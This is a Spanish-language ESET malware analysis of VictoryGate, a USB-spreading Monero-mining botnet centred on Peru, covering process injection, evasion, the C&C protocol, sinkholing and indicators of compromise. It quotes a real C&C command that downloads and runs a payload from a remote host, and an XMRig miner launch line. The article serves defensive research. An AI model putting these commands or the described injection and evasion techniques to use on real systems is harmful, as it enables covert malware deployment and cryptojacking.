VictoryGate: ESET disrumpe botnet utilizada para minar criptomonedas que afecta principalmente a Perú | WeLiveSecurity

VictoryGate: ESET disrumpe botnet utilizada para minar criptomonedas que afecta principalmente a Perú

ESET descubre y disrumpe parte de la operación de VictoryGate, una botnet compuesta principalmente por equipos comprometidos en Perú y que es utilizada para minar criptomonedas.

ESET descubre y disrumpe parte de la operación de VictoryGate, una botnet compuesta principalmente por equipos comprometidos en Perú y que es utilizada para minar criptomonedas.

Investigadores de ESET descubren una botnet no documentada previamente, a la que han denominado VictoryGate. La misma ha estado activa al menos desde mayo de 2019 y, desde entonces, se han identificado tres variantes de su módulo inicial y apróximadamente 10 payloads que son descargados por el equipo de la víctima desde sitios de file hosting en Internet. El módulo inicial es detectado por los productos de seguridad de ESET como MSIL/VictoryGate. A su vez, a través de la colaboración con distintas organizaciones, se ha logrado disminuir en gran medida el control que la misma tiene sobre los dispositivos afectados.

La botnet está compuesta principalmente por dispositivos ubicados en la región de LATAM, principalmente en Perú, país en donde están más del 90% de los dispositivos comprometidos. Hemos realizado actividades de sinkholing sobre varios subdominios hardcodeados en las muestras que la botnet utiliza como respaldo para su servidor de comando y control (C&C). La combinación de la información recopilada de nuestro sinkhole, sumada a nuestra telemetría, nos permitió estimar el tamaño de la botnet, la cual está conformada, como mínimo, por 35.000 dispositivos.

VictoryGate utiliza subdominios registrados con el proveedor de servicios de DNS dinámico No-IP, empresa que rápidamente dio de baja los dominios una vez que los mismos fueron reportados por ESET, limitando efectivamente el control de los bots por parte del atacante. Adicionalmente, la información recolectada en el sinkhole es compartida con la organización sin fines de lucro Shadowserver Foundation para alertar a las autoridades locales y operadores de red.

En la Figura 1 se puede observar el pico de conexiones de IP únicas por día que se conectan con el C&C.

Figura 1. Máxima cantidad de conexiones por parte de IPs únicas por día.

La actividad principal de la botnet ha sido la utilización de los equipos infectados para la minería de la criptomoneda Monero. Sin embargo, dado que el operador tiene la capacidad de actualizar los payloads que la víctima ejecuta en cualquier momento que lo desee, esta funcionalidad podría haber cambiado en cualquier momento. Esto representaba un riesgo considerable, dado que se ha detectado tráfico de red comprometido que se origina desde organizaciones tanto públicas como privadas, incluyendo empresas del sector financiero en Perú.

El impacto en el equipo de la víctima es:

  • Elevado uso de recursos de la PC de la víctima. En todas las muestras analizadas, el malware hace uso de todos los hilos disponibles del procesador para realizar criptominería. Esto se traduce en un uso sostenido del CPU del rango de 90-99%. Esto puede causar ralentizamiento del equipo, sobrecalentamiento o incluso dañarlo.
  • Los archivos contenidos en dispositivos USB que se conectan a un equipo infectado son escondidos en una carpeta con atributos de sistema en la raíz de la unidad extraíble. Esto significa que algunos usuarios pueden perder acceso a sus archivos originales si no remueven dicho atributo de la carpeta escondida.

En este artículo analizaremos algunos de los detalles técnicos de esta amenaza.

¿Qué es VictoryGate?

Este es el nombre que le damos al módulo inicial de la amenaza, que recibe y ejecuta comandos del servidor de comando y control del atacante. Además, este módulo es el encargado de la propagación de la amenaza a través de medios de almacenamiento USB.

Propagación de la amenaza

El único vector de propagación que hemos podido confirmar durante la investigación es a través de medios extraíbles USB. El mecanismo funciona de la siguiente manera: la víctima recibe un pendrive que en algún momento fue conectado a una PC infectada. A primera vista, contiene todos los archivos originales con sus nombres e íconos correspondientes, sin embargo, los archivos originales fueron reemplazados por ejecutables de Windows, como se observa en la Figura 2. Es fácil para un usuario desprevenido ejecutar uno de estos archivos sin percibir nada inusual.

Figura 2. Comparación entre un dispositivo limpio y uno infectado

Cada uno de estos archivos maliciosos son scripts AutoIt que VictoryGate compila “on the fly” utilizando la plantilla que se muestra en la Figura 3. Vale la pena mencionar que a cada uno de estos archivos se les agrega metadatos aleatorios para que el hash resultante nunca sea el mismo.

Figura 3. Plantilla utilizada por VictoryGate para compilar los scripts de propagación

La ejecución de cualquiera de estos archivos por parte del usuario hará que se ejecute tanto el archivo original que se desea abrir, así como el módulo inicial de la amenaza, ambos escondidos en una carpeta oculta (marcada con atributos de sistema) en la raíz de la unidad de almacenamiento extraíble.

Figura 4. Script de propagación ejecutando un archivo legítimo junto al payload escondido

Una vez ejecutado el módulo inicial escondido en el pendrive, el mismo realiza una copia de sí mismo en el directorio %AppData% en el sistema de archivos del equipo de la víctima, modificando su nombre para aparentar ser un archivo de Windows legítimo como “ctfmon2.exe”. Además, crea un acceso directo, que apunta a dicha copia, en la carpeta de inicio de Windows como un mecanismo simple de establecer persistencia en el equipo de la víctima.

El módulo inicial en sí es un archivo MSIL que tiene un tamaño de aproximadamente 200MB. Contiene un array de bytes excesivamente grande, probablemente para evadir la detección de productos de seguridad que tengan un límite de tamaño de archivo para realizar el escaneo. Contiene una DLL empaquetada, cifrada con XOR y comprimida con gzip, que es descifrada y cargada durante la ejecución realizando un late binding a través de la API de .NET Reflection. A su vez, esta DLL contiene otro archivo empaquetado, en este caso un script compilado AutoIt, además de las funciones RunPE para poder inyectarlo en algún proceso legítimo de Windows. Hemos observado los procesos vbc.exe (Compilador de Visual Basic) y csc.exe (Compilador de C#) siendo los objetivos de la amenaza.

La inyección se realiza creando una instancia del proceso vbc.exe en estado de suspensión, desmapeando sus secciones de memoria y finalmente cargando el archivo malicioso en la memoria que se le asignó al proceso. Como se puede ver en la Figura 5, VictoryGate utiliza varias funciones no documentadas de NTAPI, como NtWriteVirtualMemory, en lugar de utilizar funciones más comunes y mejor documentadas por Microsoft, como WriteProcessMemory. Esto se realiza para evadir las detecciones por API hooking básicas que algunos productos de seguridad utilizan.

Figura 5. Inyección del proceso vbc.exe por VictoryGate

El agente AutoIt inyectado es el responsable por la comunicación con el C&C, la descarga y ejecución de los distintos payloads, y el escaneo constante de unidades USB conectadas para poder infectarlas. Si detecta una nueva unidad, procederá a esconder los archivos originales y reemplazarlos por los scripts de propagación como mencionamos anteriormente.

Comunicación con el servidor C&C

El operador tiene la habilidad de enviar comandos a los nodos y actualizar los payloads que éstos ejecutan. Estos comandos se transmiten utilizando un protocolo personalizado en un puerto poco común y en texto claro. Los siguientes comandos son soportados:

ComandoDescripción
!El C&C le indica al nodo que descargue un archivo desde una determinada URL y que luego lo ejecute. Este prefijo también es utilizado por el nodo para notificar que la operación se realizó correctamente.
~El nodo utiliza este prefijo para indicarle al C&C que hubo un error en la ejecución del comando anterior.
-Este prefijo es utilizado por el nodo durante el primer mensaje al C&C, en el cual envía información sobre el sistema de la víctima. Posterior a eso, este prefijo es utilizado como un Keep-Alive de la conexión entre el cliente y el servidor.
_El nodo le notifica al C&C que la ruta de ejecución actual es diferente a la esperada. Esto da inicio al mecanismo a través del cual el payload se copia a sí mismo en el directorio %AppData%En otras palabras, asume que se encuentra en la unidad USB y que debe copiarse al disco duro de la víctima.

Ejemplo de un comando de descarga y ejecución enviado por el C&C:

!|N-I-C-H-O-L-A-S|!|N-I-C-H-O-L-A-S|PuQPQOZOy.exe|N-I-C-H-O-L-A-S|http://gulfup[.]me/i/00711/2czcy5xvh7br.jpeg[N-E-K]

En este caso, la URL es el payload a descargar al directorio %Temp%, mientras que PuQPQOZOy.exe es un nombre aleatorio que se le debe asignar al archivo luego de ser descargado.

Payloads descargados

Los payloads descargados también suelen ser scripts AutoIt compilados. El compilador tiene la habilidad de embeber ejecutables junto con el script en un único archivo. El malware hace uso de esta funcionalidad y dentro del ejecutable descargado podemos encontrar un archivo MSIL que es eventualmente ejecutado con la funcion AutoIt ShellExecute(). Además de la ejecución de este binario, el script crea un nuevo acceso directo en la carpeta de inicio de Windows vinculado al payload y una tarea programada que se ejecuta cada un minuto como mecanismos de persistencia adicionales.

En la Figura 6 se aprecia el flujo de ejecución de los payloads analizados:

Figura 6. Diagrama de ejecución de un payload descargado

Nuevamente, el payload inyectará el código en un proceso legítimo de Windows. En este caso, intentará inyectar el minero XMRig en el proceso ucsvc.exe (Boot File Servicing Utility).

Una vez ejecutado el archivo MSIL, tpmvscugr.exe, éste descifra un array cifrado con Rijndael, en una implementación similar a AES. Se trata de archivo binario empaquetado al cual llamamos gate.exe – sus métodos son invocados durante la ejecución utilizando la API de .NET Reflection.

El binario empaquetado no tiene el código necesario para realizar la inyección por sí mismo, sino que la última pieza para poder inyectar el minero en el proceso de ucsvc.exe es una DLL que es enviada por el C&C a través del tráfico de red. Dicho tráfico enviado está comprimido utilizando gzip y el contenido de la DLL es cifrado con AES. El stream cifrado es almacenado en una clave del registro y la clave para descifrar el archivo tiene que ser recuperada del tráfico de red entre el servidor y el nodo. Finalmente, esta DLL es cargada en la memoria del proceso de tpmvscugr.exe durante la ejecución mediante un late binding.

Figura 7. Clave del registro con el contenido encriptado de auto.dll%

Esta DLL (auto.dll) contiene alunas funciones RunPE típicas que le permiten a gate.exe realizar la inyección.

Minería de Monero

Una vez que el proceso de ucsvc.exe fue inyectado con el minero XMRig, el C&C comienza la minería enviando un comando como el siguiente:

C:\Windows\system32\ucsvc.exe -algo cryptonight -url <Redacted>:19019 –user CPU_x64 –pass x –retries=50 –retry-pause=1 –keepalive –donate-level=1 –nicehash

La dirección IP que se ve en el comando no es un pool de minería, sino que se trata de un Stratum proxy – O XMRig proxy que añade un nivel de indirección, ya que no permite determinar el usuario del operador de la botnet.

Por otro lado, cuando el usuario intente averiguar a que se debe que su PC tenga un rendimiento tan lento, no encontrará en el administrador de tareas nada que llame su atención, ya que, como hemos visto en varias amenazas de este tipo, el proceso de minería finaliza cuando se abre dicho programa, y es resumido en cuanto el administrador de tareas se cierra.

Con la información recolectada durante nuestras actividades de sinkholing podemos determinar que hay en promedio 2,000 dispositivos minando constantemente a lo largo del día para el atacante. Si estimamos un hashrate promedio de 150 H/s por equipo se puede extrapolar que el dinero obtenido en esta campaña es de alrededor de 80XMR (USD 6,000).

Conclusión

VictoryGate es una nueva botnet que utiliza dispositivos de almacenamiento USB como mecanismo de propagación, una técnica recurrente en campañas de malware en la región de LATAM. La utilización de XMRig para la minería de Monero también es una tendencia que ha ido creciendo en campañas de este tipo a lo largo del mundo.

Una de las características interesantes de VictoryGate es que, en comparación con otras campañas, hace un esfuerzo mayor para evadir la detección por parte de las soluciones de seguridad. De todos modos, el factor más interesante de esta investigación ha sido nuestra habilidad de registrar nombres de dominios hardcodeados en las muestras analizadas para poder obtener información estadística sobre los equipos infectados. De esta manera, además, pudimos compartir los datos obtenidos con Shadowserver Foundation para alertar a las autoridades locales y a los propietarios de red. No-IP tamién ha sido de gran ayuda en dar de baja los nombres de dominio maliciosos, efectivamente removiendo los equipos infectados del operador de la botnet.

A pesar de nuestros esfuerzos, los pendrives infectados van a continuar en circulación, razón por la cual se seguirán produciendo nuevas infecciones. Sin embargo, la diferencia significativa que se logró a partir de esta investigación es que los equipos ya no recibirán comandos del C&C, por ende no descargarán nuevos payloads de Internet. De todos modos, aquellas PC que hayan sido infectadas previo a la disrupción continuarán minando para el atacante. Si éste es el caso, y crees que tu equipo ha sido comprometido por este malware, sugerimos utilizar nuestra herramienta gratuita ESET Online Scanner para limpiar tu dispositivo.

Indicadores de Compromiso (IOCs)

Muestras

Nombres de detección de ESET
Hash
MSIL/VictoryGate.A
398C99FD804043863959CC34C68B0305B1131388
MSIL/VictoryGate.A
a187d8be61b7ad6c328f3ee9ac66f3d2f4b48c6b
MSIL/VictoryGate.B
483a55389702cdc83223c563efb9151a704a973e
MSIL/VictoryGate.C
686eef924e6b7aadb5bcff1045b25163501670e6

Sistema de archivos

%ProgramData%\JcmewjJky\jcmewjjky.ico
%ProgramData%\JcmewjJky\jcmewjjky.exe
%ProgramData%\JcmewjJky\jcmewjjky.au3
%AppData%\Microsoft\Windows\Start Menu\Programs\Startup\ctfmon.url.lnk
%AppData%\Microsoft\Windows\Start Menu\Programs\Startup\tpmvsucgr.url
%AppData%\tpmvscugr.exe
%AppData%\ctfmon2.exe
HKCU/Software/JcMewjJKy
HKLM/Software/Microsoft/Windows NT/CurrentVersion/Schedule/TaskCache/Tree/rwIAMblfuvoss
HKCU/Software/Victory

Dominios de C&C

(*) Dominios registrados por ESET para evaluar el alcance de la amenaza.

scitie.ddns[.]net
ddw.ddns[.]net
c0d3.ddns[.]net
volvo.ddns[.]net
xcod.ddns[.]net
mrxud.ddns[.]net
d001.ddns[.]net
xkm.ddns[.]net
luio.ddns[.]net
xcud.ddns[.]net
aut2scr.ddns[.]net
fanbmypersondrive[.]icu
mydrivepersonpdvsa[.]icu
mydrivepersonfanb[.]icu
mycountermppd[.]xyz
calypsoempire.ddns[.]net
mgud2xd.ddns[.]net
aut0hk.ddns[.]net
xcud.zapto[.]org
accountantlive[.]icu
shittybooks[.]review
hakerz123.ddns[.]net
jcmewjjkyc0d3.ddns[.]net *
urtyerc0d3.ddns[.]net *
MoOHyAYeuaut2scr.ddns[.]net *
pNUMWWDLjPmzg.ddns[.]net *
gJyapcAGoc0d3.ddns[.]net *
OHOFqlXNJluio.ddns[.]net *

URLs de los payload

gulfup[.]me/i/00711/2czcy5xvh7br.jpeg
gulfup[.]me/i/00711/a8nr26g1zcot.jpeg
gulfup[.]me/i/00711/6400e1i9fsj6.jpeg
gulfup[.]me/i/00711/pwgzuq5902m2.jpeg
gulfup[.]me/i/00711/lhm3w37zuiwy.jpeg
gulfup[.]me/i/00711/3mwdm6tbgcq6.jpeg
gulfup[.]me/i/00712/sy8rtcxlh1pu.jpeg
gulfup[.]me/i/00712/o56zgjhefny0.jpeg
b.top4top[.]io/p_152411ncc1.jpeg
pastebin[.]com/raw/fEAuhPYh

Técnicas de MITRE ATT&CK

TácticaIDNombre Descripción
Acceso InicialT1091Replicación a través de medios extraíblesCompila scripts AutoIt que reemplazan los archivos originales en la unidad USB
EjecuciónT1064ScriptingUtiliza scripts tanto AutoIt como VBS
T1129Ejecución a través de la carga de un móduloCarga y ejecuta distintos binarios
T1085Rundll32Usa rundll32 a través de la función de AutoIt INETGET para descargar payloads
T1106Ejecución a través de una APIUsa llamadas a la API como CreateProcessA() y otras
T1053Tarea programadaCrea una tarea programada como mecanismo de persistencia
PersistenciaT1158Archivos y directorios ocultosCrea directorios ocultos en las unidades USB extraíbles
T1060Carpeta de InicioCrea accesos directos en la carpeta de inicio como mecanismo de persistencia
T1053Tarea ProgramadaCrea una tarea programada como mecanismo de persistencia
Escalación de PrivilegiosT1055Inyección de ProcesoGana privilegios inyectando procesos legítimos de Windows



Evasión de Defensa
T1140Desofuscar/decodificar informaciónUtiliza codificación Base64 para hardcodear nombres de domino en el malware
T1222Modificación de permisos de archivos o directoriosMarca directorios con atributos +RSH
T1009Relleno binarioUsa relleno binario o información aleatoria para que los scripts de propagación tengan hashes distintos
T1107Eliminación de ArchivosArchivos descargados en el directorio %temp% luego son eliminados
T1093Vaciamiento de ProcesoProcesos legítimos de Windows son vaciados y luego inyectados
T1045Empaquetamiento de SoftwareVarios módulos poseen binarios empaquetados
Movimiento LateralT1091Replicación a través de medios extraíblesCompila scripts AutoIt que reemplazan los archivos originales en la unidad USB
ColecciónT1005Datos del sistema localCierta información del sistema de la víctima es exfiltrada al servidor del atacante
DescubrimientoT1063Descubrimiento del software de seguridadUtiliza consultas WMI para obtener la solución de seguridad instalada en el equipo
T1057Descubrimiento de procesosDetecta la presencia del administrador de tareas ( taskmgr.exe %) para suspender el proceso de minería
Comando y ControlT1094Protocolo no-estándarEl servidor C&C utiliza un protocolo personalizado
T1065Puertos poco frecuentesEl servidor C&C utiliza puertos poco frecuentes para la comunicación, como son los puertos 3,030, 6,060 y 19,019.
T1008Canal de RespaldoUtiliza nombres de dominio hardcodeados como respaldo de los originales
T1102Servicio WebUtiliza la plataforma pastebin para obtener la dirección IP del C&C incluso si la resolución DNS falla
ImpactoT1496Secuestro de RecursosEl equipo de la víctima es utilizado para minar criptomonedas
T1492Manipulación de datos almacenadosLos archivos contenidos en el pendrive de la víctima son escondidos

Newsletter

Discusión